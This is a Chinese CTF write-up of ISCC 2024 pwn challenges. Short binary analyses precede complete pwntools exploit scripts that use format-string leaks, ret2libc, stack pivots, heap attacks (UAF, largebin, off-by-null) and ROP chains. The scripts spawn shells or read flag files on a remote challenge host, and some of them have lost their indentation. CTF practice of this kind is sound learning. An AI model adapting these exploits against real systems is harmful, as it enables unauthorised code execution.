练武

easyshell

​ checksec 查看保护发现保护全开,拖IDA一下子就看到了一个大大的backdoor

image-20240517134414225

image-20240517134638726

​ 然后就想着挟持程序流到backdoor,反编译一下

image-20240517135920892

​ 发现仅有一个格式化字符串漏洞,所以可以格式化字符串泄露栈地址和程序地址后计算偏移直接跳转过去。

​ s1位于栈上,栈上的format String还是很好打的

image-20240517140208807

首先观察一下栈上有没有什么有用的数据,顺便测下偏移(注意这里的偏移不是地址偏移,而是%p这类format String在匹配地址时的偏移)

image-20240517140811490

可以看到第9个%p被换成了一连串的0x61,所以我们填充了8个a的地方的偏移为9,将断点下到printf函数,查看此时stack结构。

image-20240517141602848

因为我们仅需要canary及程序地址(因为开启了pie,为了推测程序中相关gadgets此时加载位置需要程序地址),计算偏移泄露这两个数即可

payload = b'flagisa%15$p%17$p'
sh.sendlineafter(b'>>',payload)
canary = int(sh.recv(18),16)
mainbk_addr = int(sh.recv(14),16)

随后栈溢出挟持程序流跳转到backdoor即可,注意需要把canary放在正确的位置,绕过canary检测。因为在while循环中,函数不会直接退出,还要重新发送一次exit

exploit:

from pwn import *
context.log_level = "debug"
backdoor = 0x1291
mainbk = 0x1520
# sh = process("./pwn2")
sh = remote("182.92.237.102",10011)
# 栈底偏移 16
payload = b'flagisa%15$p%17$p'
sh.sendlineafter(b'>>',payload)
canary = int(sh.recv(18),16)
mainbk_addr = int(sh.recv(14),16)
backdoor_addr = mainbk_addr - (mainbk-backdoor)
payload = p64(canary).rjust(0x40,b'a') + p64(0) + p64(backdoor_addr)
sh.sendlineafter(b'>>',payload)
sh.sendlineafter(b'>>',b'exit')
log.info("mainbk_addr is 0x%x" %mainbk_addr)
sh.interactive()

iscc_easy

​ 首先查看保护并拖入IDA反编译

image-20240520161808642

image-20240520161834112

main 函数内无溢出,但有printf 的format漏洞,且仅当x=5时调用welcome函数。welcome内有栈溢出

image-20240520162307737

所以思路就是想办法绕过x==5的检测,然后进行栈溢出,随后就像是一道ret2libc的板子题

exploit:

from pwn import *
pwn_path = "./ISCC_easy"
libc_path = "libc6-i386_2.31-0ubuntu9.14_amd64.so"
# sh = process(pwn_path)
sh = remote("182.92.237.102",10013)
libc = ELF(libc_path)
context.log_level = 'debug'

# set x = 5
payload = p32(0x0804C030) + b'a%4$hhn'
sh.sendafter(b"Let's have fun!\n",payload)

# leak libc_base
call_welcome = 0x08049372
puts_plt = 0x080490D0
puts_got = 0x0804C014
payload = b'a'*0x94 + p32(puts_plt) + p32(call_welcome) + p32(puts_got)
sh.sendafter(b"Input:\n",payload)
puts_addr = u32(sh.recv(4))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
str_binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info("puts_addr is 0x%x" %puts_addr)
log.info("ilbc_base is 0x%x" %libc_base)
log.info("system_addr is 0x%x" %system_addr)
log.info("str_binsh_addr is 0x%x" %str_binsh_addr)

# get shell
payload = b'a'*0x94 + p32(system_addr) + p32(0) + p32(str_binsh_addr)
sh.sendafter(b"Input:\n",payload)
sh.interactive()

Flag

​ 查看保护并拖入IDA反汇编

image-20240520163749065

image-20240520163935200

在weclome函数中发现如果我们的输入和help.txt文件中的不一样时,就会被printf出来,此过程可以触发format string漏洞。

随后发现在第二个函数中可以栈溢出

image-20240520164653612

所以我们的思路就是第一处进入点尽可能泄露canary和libc_base,第二处进入点直接执行提权函数。但是很可惜,调试的时候在栈上没找到泄露libc的机会。那就正常打带canary的ret2libc (此时canary已知)

分析完毕,开始实践:

​ 很怪,没发现我们的测试序列(‘aaaa’),于是再看一眼format,发现函数定义是指针,没法儿用这种方法测偏移了

image-20240520191927414

断点下到call printf的位置,观察此时栈结构

image-20240520193038361

不出所料的话bp寄存器指向位置的偏移应该是0x16,canary的偏移应该是0x13

image-20240520194010972

果真如此,之后就是正常的带canary的ret2libc,canary已经到手了,直接构建ROP链即可

我这里还额外进行了栈迁移,原因是误以为0x100-0x94=12,hhh 具体原因见此

exploit:

from pwn import *
from LibcSearcher import LibcSearcher
context(arch='i386',os='linux')
sh = process("./pwn")
sh = remote("182.92.237.102",10012)
# ebp 偏移是 0x16 . format
payload = b'aaaa%19$p%22$p'
sh.sendline(payload)
sh.recvuntil(b'aaaa')
canary = int(sh.recv(10),16)
stack_buf = int(sh.recv(10),16)-0x94-0x10
log.info("canary is 0x%x" %canary)
log.info("stack_buf is 0x%x" %stack_buf)

# 栈迁移
ret = 0x0804900e
leave_ret = 0x080494C0
puts_plt = 0x08049134
puts_got = 0x0804C01C
bck_addr = 0x0804931B
pop_ebx_ret = 0x08049022
# 栈迁移然后puts泄漏libc,随后执行提权函数。所以这就是一道带栈迁移的libc类型题。
payload = flat([stack_buf,puts_plt,bck_addr,puts_got])
payload = payload.ljust(0x88,b'a') + p32(canary) + p32(0)*2 + p32(stack_buf) + p32(leave_ret)
sh.sendafter(b"Input:\n",payload)
puts_addr = u32(sh.recv(4))
log.info("puts_addr is 0x%x" %puts_addr)

# 推测system和binsh
system = puts_addr - 0x2b110
binsh = puts_addr + 0x149e95
system = puts_addr - 0x06d1e0 + 0x041360
binsh = puts_addr - 0x06d1e0 + 0x18c363
log.info("system is 0x%x" %system)
log.info("binsh is 0x%x" %binsh)
payload = flat([stack_buf,system,bck_addr,binsh])
payload = payload.ljust(0x88,b'a') + p32(canary) + p32(0)*2 + p32(stack_buf+0x8-0x94) + p32(leave_ret)

sh.sendafter(b"Input:\n",payload)
sh.interactive()

chaos

拖入ida,发现后门

image-20240520211225993

直接走后门拿到权限

image-20240520211138008

shopping

无pie,仅能申请堆块,多线程

image-20240521165306573

申请堆块到 第二个堆块尾部,并利用堆溢出控制thread arena

image-20240521165016992

image-20240521165245817

将堆块申请到bss段0x602038附近,并在此处挟持程序流。

image-20240521194916156

exploit:

from pwn import*
#re=process("./pwn")
re=remote("182.92.237.102",10019)
if args.G:
gdb.attach(re)
context.log_level='debug'

def add(size,n,pay=""):
re.recvuntil("Action: ")
re.sendline(str(1))
re.recvuntil("ID: ")
re.sendline(str(size))
re.recvuntil("Quantity: ")
re.sendline(str(n))
re.recvuntil("1): ")
if pay =="":
re.sendline("0")
else :
re.sendline("1")
re.recvuntil("Message: ")
re.send(pay)
re.recvuntil("ord: \n")
pay=b"I'm ready for shopping"
re.sendline(pay)
for i in range(12):
add(0x4000,1000)
add(0x4000,262,b'a'*0x3ff0)
sleep(0.2)
pause()
pay=b'1'*0x50+p32(0)+p32(3)+p64(0)*5+p32(0x60201d)
re.send(pay)
pause()
system=0x400978
pay=b'/bin/sh\x00'+b'\x00'*3+p64(system)
pay=pay.ljust(0x60,b'\x00')
add(0x60,0,pay)
re.interactive()

得到flag:

image-20240521195441346

ISCC_U

做这道题的时候遇到了个特别坑的事儿,在本地跑的通,但是在远程不行,报错信息提示说引号不匹配,到最后打印system执行的命令内容才知道,原来前面的地址中有一字节刚好对应单引号 `。只能说一整个无语住了,记录一下,长个记性。

我有点怀疑自己的这个是否是非预期解,因为本次漏洞利用并未涉及栈

image.png

一黄两绿,无pie;malloc,show,delete完好,无edit

注意到add函数执行时会申请两个chunk,为表述方便,分别将其称作chunk_a和chunk_b。chunk_a用来存放print_note_content地址和chunk_b地址,chunk_b是实际申请的大小,有UAF。而且delete时,两个堆块都会被free掉,所以再申请后利用UAF可以实现控制

image.png

image.png

需要注意的是,这里的show功能实现比较怪,控制chunk_a内容后可用来挟持程序流

image.png

首先挟持程序流leak libc ,随后挟持程序流执行提权函数。控制chunk_a方法如下:

image.png

exploit:

from pwn import *

path = "./attachment-39"

sh = process(path)

\# sh = remote("182.92.237.102",10016)

\# context.log_level = 'debug'

def add(size,Content):

​ sh.sendafter(b"What's your choice :",str(1).encode())

​ sh.sendafter(b"Note size :",str(size).encode())

​ sh.sendafter(b"Content :",Content)

def delete(Index):

​ sh.sendafter(b"What's your choice :",str(2).encode())

​ sh.sendafter(b"Index :",str(Index).encode())

def printf(Index):

​ sh.sendafter(b"What's your choice :",str(3).encode())

​ sh.sendafter(b"Index :",str(Index).encode())

print_note_content = 0x80492b6

puts_got = 0x0804C024

\# leak libc_base

add(0x10,b'chunkis_0')

add(0x10,b'chunkis_1')

add(0x10,b'chunkis_2')

delete(2)

delete(1)

add(0xc,flat([print_note_content,puts_got]))

gdb.attach(sh)

pause()

printf(2)

puts_addr = u32(sh.recv(4))

log.info("puts_addr is 0x%x" %puts_addr)

delete(1)

\# get shell

\# system_addr = puts_addr - 0x2b110

system_addr = puts_addr - 0x2be80

add(0xc,p32(system_addr)+b"`;sh")

printf(2)

log.info("命令:"+"".join([chr((system_addr>>8*i)&0xff) for i in range(4)])+";/bin/sh")

sh.interactive()

heapheap

​ 保护全开,四肢完整(仅能申请largebin),禁用execve。

image-20240522134038070

所以思路就是leak libc_base,然后largebin attack打_IO_all_list,挟持程序流打setcontext。将栈迁移到堆上打orw

image-20240522134646721

exploit:

from pwn import *
sh=remote('182.92.237.102',11000)
libc=ELF('./libc-2.31.so')

def add(idx,Size):
sh.recvuntil(b'choice')
sh.sendline(b'1')
sh.recvuntil(b'index')
sh.sendline(bytes(str(idx),'utf-8'))
sh.recvuntil(b'Size')
sh.sendline(bytes(str(Size),'utf-8'))
def delete(id):
sh.recvuntil(b'choice')
sh.sendline(b'4')
sh.recvuntil(b'index')
sh.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
sh.recvuntil(b'choice')
sh.sendline(b'3')
sh.recvuntil(b'index')
sh.sendline(bytes(str(id),'utf-8'))
sh.recvuntil(b'context')
sh.send(Content)
def show(id):
sh.recvuntil(b'choice')
sh.sendline(b'2')
sh.recvuntil(b'index')
sh.sendline(bytes(str(id),'utf-8'))

add(0,0x420)
add(1,0x410)
add(2,0x410)
add(3,0x410)
delete(0)
show(0)

# 释放到 unsortedbin 用来 leak libc_base
libc_add=u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-libc.symbols['__malloc_hook']-96-0x10
io_list_all=libcbase+0x1ed5a0
log.info('libcbase '+hex(libcbase))
log.info('io_list_all '+hex(io_list_all))
pause()

# largebin attack 打 io_list_all
add(4,0x430)
edit(0,b'a'*(0x10-1)+b'A')
show(0)
sh.recvuntil(b'A')
heap_add=u64(sh.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
log.info('heap_add '+hex(heap_add))

fd=libcbase+0x1ecfd0
payload=p64(fd)*2+p64(heap_add)+p64(io_list_all-0x20)
edit(0,payload)

# 触发largebin attack
delete(2)
add(5,0x470)
delete(5)

# 伪造IO_file打setcontext将栈迁移到堆
openadd=libcbase+libc.sym['open']
readadd=libcbase+libc.sym['read']
writeadd=libcbase+libc.sym['write']
setcontextadd=libcbase+libc.sym['setcontext']
rdi=libcbase+0x0000000000023b6a
rsi=libcbase+0x000000000002601f
rdx_r12=libcbase+0x0000000000119431
ret=libcbase+0x0000000000022679

chunk_small=heap_add+0x850
IO_wfile_jumps=libcbase+0x1e8f60
fakeIO_add=chunk_small
orw_add=fakeIO_add+0x200
A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add

fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'\x00')
fake_IO+=p64(1)
fake_IO=fake_IO.ljust(0x78,b'\x00')
fake_IO+=p64(fakeIO_add)
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(A)
fake_IO=fake_IO.ljust(0xc8,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+b'\x00'*0x30
fake_IO+=p64(B)+p64(setcontextadd+61)

flag_add=orw_add+0x100+0x10

# 打堆上的orw
orw = p64(rdi)+ p64(flag_add) + p64(rsi) + p64(0) + p64(openadd)
orw += p64(rdi)+ p64(3)+p64(rsi)+p64(flag_add)+p64(rdx_r12)+p64(0x50)+p64(0)+p64(readadd)
orw += p64(rdi)+p64(1)+p64(writeadd)

payload=fake_IO
payload=payload.ljust(0x200-0x10,b'\x00')
payload+=orw
payload=payload.ljust(0x300,b'\x00')
payload+=b'flag\x00'

edit(2,payload)

# exit 触发 io_list_all 的遍历执行
sh.recvuntil(b'choice')
sh.sendline(b'5')

sh.interactive()

image-20240522135602410

得到flag

miao

查看elf文件的一些基本信息,并拖入IDA反编译

image-20240522172630663

发现两个简单漏洞

image-20240522173320582

image-20240522173339996

第一次leak canary,第二次打ret2sycall。

image-20240522180159260

exp:

your_program

查看一下保护,并拖入IDA反编译

image-20240522184531947

image-20240522203101987

没有任何保护,且此处有栈溢出,所以打ret2libc,需要注意的是,此前只有一个函数printf被调用,所以只有该函数能泄露got地址。

from pwn import * 
context(arch="amd64",log_level="debug")
p = remote("182.92.237.102",10032)
elf = ELF("./Your_program")
libc=ELF('./libc6_2.31-0ubuntu9.15_amd64.so')
def get_addr():
return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

rdi= 0x401763
puts = 0x401100
authorize = 0x401276
key=b'A'*40+p64(rdi)+p64(elf.got['printf'])+p64(puts)+p64(authorize)
p.sendlineafter("Enter key:",key)
printf_add=get_addr()
print(hex(printf_add))
libc_base=printf_add-libc.sym['printf']
system,bin=get_sb()
key=b'A'*40+p64(rdi+1)+p64(rdi)+p64(bin)+p64(system)
p.sendlineafter("Enter key:",key)
p.interactive()

eazy_heap

​ 保护全开,有沙盒禁用execve,拖入IDA反编译

image-20240522213508347

image-20240522213910572.png

image-20240522213539235

​ 发现在edit中存在off by null

image-20240522223145451

​ 利用large chunk泄露出来libc和heap,然后利用off_by_null进行unlink,构造块重叠。然后申请chunk到environ用来leak stack,之后同样的方法申请堆到栈上,劫持add函数返回地址,挟持程序流

最后打栈上的ORW,直接获得flag。

from pwn import*
context(arch='amd64', os='linux',log_level="debug")
libc = ELF("./libc.so.6")
elf =ELF("./CAT_DE")
#sh = remote("182.92.237.102",2122)
sh=process("./CAT_DE")

def add(size,content):
sh.sendlineafter("input your car choice >> ","1")
sh.sendlineafter("size:",str(size))
sh.sendafter("content:",content)

def edit(idx,content):
sh.sendlineafter("input your car choice >> ",'4')
sh.sendlineafter("idx:",str(idx))
sh.sendafter("content:",content)

def show(idx):
sh.sendlineafter("input your car choice >> ",'3')
sh.sendlineafter("idx:",str(idx))

def dele(idx):
sh.sendlineafter("input your car choice >> ",'2')
sh.sendlineafter("idx:",str(idx))

add(0x440,"AAA")
add(0x88,"AAA")
add(0x440,"AAAA")
add(0x88,"AAA")
dele(0)
dele(2)
add(0x450,"AAAA")
add(0x440,"AAAAAAAA")
add(0x440,"BBBBBBBB")
show(4)

sh.recvuntil('\0')
libc.address = u64(sh.recv(6).ljust(8,b"\x00")) -0x21a000 - 0xe0
success('libc_base----->'+hex(libc.address))

envrion = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(libc.address))
sh.recv(2)

heap_addr = u64(sh.recv(8)) - 0x290
print(hex(heap_addr))

for i in range(7):
add(0xf8,"AAA")

add(0x108,"AAA")
add(0xf0,"AAAA")
add(0x88,"AAA")

for i in range(7):
dele(i+5)

target = heap_addr + 0x17c0
ptr = heap_addr + 0xc60
edit(0,p64(target))
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x100,b"\x00") + p64(0x100)
edit(12,payload)
dele(13)

add(0xe8,"AAAA")
add(0xe8,"AAAA")

dele(5)
dele(6)
show(12)
sh.recvuntil("\xf1")
sh.recv(7)
en_key = u64(sh.recv(8))
print("en_key ===> " + hex(en_key))
key = u64(sh.recv(8))
print("key ===> " + hex(key))
payload = p64(0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(12,payload)

add(0xe8,"AAAA")
add(0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))

add(0xd0,"A"*8)
show(7)
stack = u64(sh.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
print(hex(stack))
edit(6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))


pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx_r12 = 0x000000000011f497 + libc.address
read_addr = libc.sym['read']
open_addr = libc.sym['open']
write_addr = libc.sym['write']

orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)
add(0xd0,b"./flag".ljust(8,b"\x00")+orw)
sh.interactive()

擂台

curious

查看保护,发现几乎没有,拖入IDA反编译,发现是静态编译的,且IDA无法识别。

image-20240521215458788

索性直接跑一下,然后IDA查字符串

image-20240521215653319

image-20240521215746893

image-20240521215818141

此处明白了大概逻辑,先输入六个字符,经加密后放到byte_4c54e0处,然后与字符串"B2GXEwvZ"比较,成功则进入下一阶段。这不就是加密嘛,直接看加密过程,发现有很明显的base64的特征。

image-20240521220404773

image-20240521220541748

测试一下,发现除了base64加密外还有大小写转换

image-20240521221210539

image-20240521221316887

直接手动转换一下大小写尝试解密

image-20240521221421231

image-20240521221539417

解密成功,进入下一步,看起来似乎有两次输入,第二次输入在栈上

image-20240521221643174

直接ROPgadget一把梭

image-20240521224153861

exoloit:

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

p = b''

p += p64(0x000000000040f49e) # pop rsi ; ret
p += p64(0x00000000004c20e0) # @ .data
p += p64(0x0000000000452af7) # pop rax ; ret
p += b'/bin//sh'
p += p64(0x0000000000483b85) # mov qword ptr [rsi], rax ; ret
p += p64(0x000000000040f49e) # pop rsi ; ret
p += p64(0x00000000004c20e8) # @ .data + 8
p += p64(0x0000000000446ef9) # xor rax, rax ; ret
p += p64(0x0000000000483b85) # mov qword ptr [rsi], rax ; ret
p += p64(0x0000000000401912) # pop rdi ; ret
p += p64(0x00000000004c20e0) # @ .data
p += p64(0x000000000040f49e) # pop rsi ; ret
p += p64(0x00000000004c20e8) # @ .data + 8
p += p64(0x000000000040181f) # pop rdx ; ret
p += p64(0x00000000004c20e8) # @ .data + 8
p += p64(0x0000000000446ef9) # xor rax, rax ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004788c0) # add rax, 1 ; ret
p += p64(0x00000000004012d3) # syscall

#io=process("./curious.curious")
io=remote("182.92.237.102",10031)
#elf = ELF('./curious.curious')
#gdb.attach(io)
io.send(b'oh1yes')
io.sendline(b'1')
io.sendline(b'a'*0x28+p)
io.interactive()

unheap

这绝对是一道堆题,且开启了沙盒,禁用execve。

image-20240523014659905

image-20240523010134115

有uaf漏洞

image-20240523010230209

经测试,远端glibc版本大概在2.27及以上,2.31以下

image-20240523012558982

​ 所以利用uaf直接double free将堆块申请到top chunk。随后释放top chunk到unsort用来leak libc。

随后控制tcache bins将堆申请到environ泄露栈地址,打栈上的orw。

exploit:

from pwn import *
from ctypes import*
sh=remote('182.92.237.102',10030)
#FILENAME='./unheap'
#sh=process(FILENAME)
#elf=ELF(FILENAME)
libc=ELF('../libc-2.27.so')
context.arch='amd64'
def create(Size,Content=b'a'):
sh.recvuntil(b'>>')
sh.sendline(b'1')
sh.recvuntil(b'size')
sh.sendline(bytes(str(Size),'utf-8'))
sh.recvuntil(b'content')
sh.send(Content)
def free(id):
sh.recvuntil(b'>>')
sh.sendline(b'2')
sh.recvuntil(b'index')
sh.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
sh.recvuntil(b'>>')
sh.sendline(b'3')
sh.recvuntil(b'index')
sh.sendline(bytes(str(id),'utf-8'))
sh.recvuntil(b'data')
sh.send(Content)
def show(id):
sh.recvuntil(b'>>')
sh.sendline(b'4')
sh.recvuntil(b'index')
sh.sendline(bytes(str(id),'utf-8'))

create(0x18)#0

free(0)
edit(0,b'a'*7+b'A')
show(0)
sh.recvuntil(b'A')
heap_add=u64(sh.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
heapbase=heap_add-0x10
success('heapbase '+hex(heapbase))
edit(0,b'\x00'*0xf)
free(0)
chunk_0=heapbase+0x260+0x10
create(0x18,p64(heapbase+0x10))#1,0
create(0x18)#2,1,0
create(0x18,b'\x00')#3,tache
payload=b'\x00'*(0x20)+b'\x07'*8
edit(3,payload)
free(3)
show(3)

libc_add=u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-libc.symbols['__malloc_hook']-96-0x10
log.info('libcbase '+hex(libcbase))
log.info('libc_addr '+hex(libc_add))

env=libcbase+libc.symbols['_environ']
payload=b'\x00'*(0x40)+p64(env)
edit(3,payload)
create(0x18,b'\x18')#4
show(4)

stack_add=u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.info('stack_add '+hex(stack_add))

ret_add=stack_add-0x110
payload=b'\x00'*(0xb0)+p64(ret_add)
edit(3,payload)


# gdb.attach(p,'b* $rebase(0xCEF)')
rdi_ret=libcbase+0x000000000002164f
rsi_ret=libcbase+0x0000000000023a6a
rdx_ret=libcbase+0x0000000000001b96
ret=libcbase+0x00000000000008aa
mprotect=libcbase+libc.sym['mprotect']
puts=libcbase+libc.sym['puts']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))

# payload=p64(ret)*6+p64(rdi_ret)+p64(str_bin_sh)+p64(puts)#test
payload=p64(ret)*6
length=(len(payload))
print(hex(length))
orw=p64(rdi_ret)+p64(ret_add-(ret_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_ret)+p64(7)+p64(mprotect)+p64(ret_add+0x8*(8)+length)+asm(shellcraft.cat('/flag'))

openadd=libcbase+libc.sym['open']
writeadd=libcbase+libc.sym['write']
readadd=libcbase+libc.sym['read']
flag_add=ret_add+length+8*15
orw_rop = p64(rdi_ret) + p64(flag_add) + p64(rsi_ret) + p64(0)+ p64(openadd)
orw_rop += p64(rdi_ret) + p64(3) + p64(rsi_ret) + p64(flag_add) + p64(rdx_ret) + p64(0x100) + p64(readadd)
orw_rop += p64(rdi_ret) + p64(1)+ p64(writeadd)
orw_rop += b'flag.txt\x00'
payload+=orw_rop
print(hex(len(payload)))
create(0x100-0x8,payload)
sh.interactive()

image-20240523013817189

great

查看保护,并拖入IDA反编译

image-20240523015629026

image-20240523015537644

发现栈溢出,直接打ret2libc

需要注意的是,进入此函数之前要经过两次验证

image-20240523020311753

image-20240523020331163

exploit:

from pwn import*
context(log_level = "debug",arch = "i386",os = "linux")
sh = remote('182.92.237.102',10014)
elf = ELF("./great")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
sh.sendlineafter("Do you enjoy ISCC?",b'yes')
sh.sendlineafter("Then I will show you something great.",b'OK')
puts_plt = 0x8048490
puts_got = elf.got["puts"]
great = 0x08048624
payload = b'a'*112 + p32(puts_plt) + p32(great) + p32(puts_got)
sh.recvuntil("Here it is!")
sh.sendline(payload)
puts_addr = u32(sh.recvuntil("\xf7")[-4:])
print(hex(puts_addr))
system = puts_addr -0x5f150 + 0x3a950
binsh = puts_addr - 0x5f150+ 0x15912b
payload = b'a'*112 + p32(system) + p32(0) + p32(binsh)
sh.sendlineafter("Here it is!",payload)
sh.interactive()

image-20240523020021686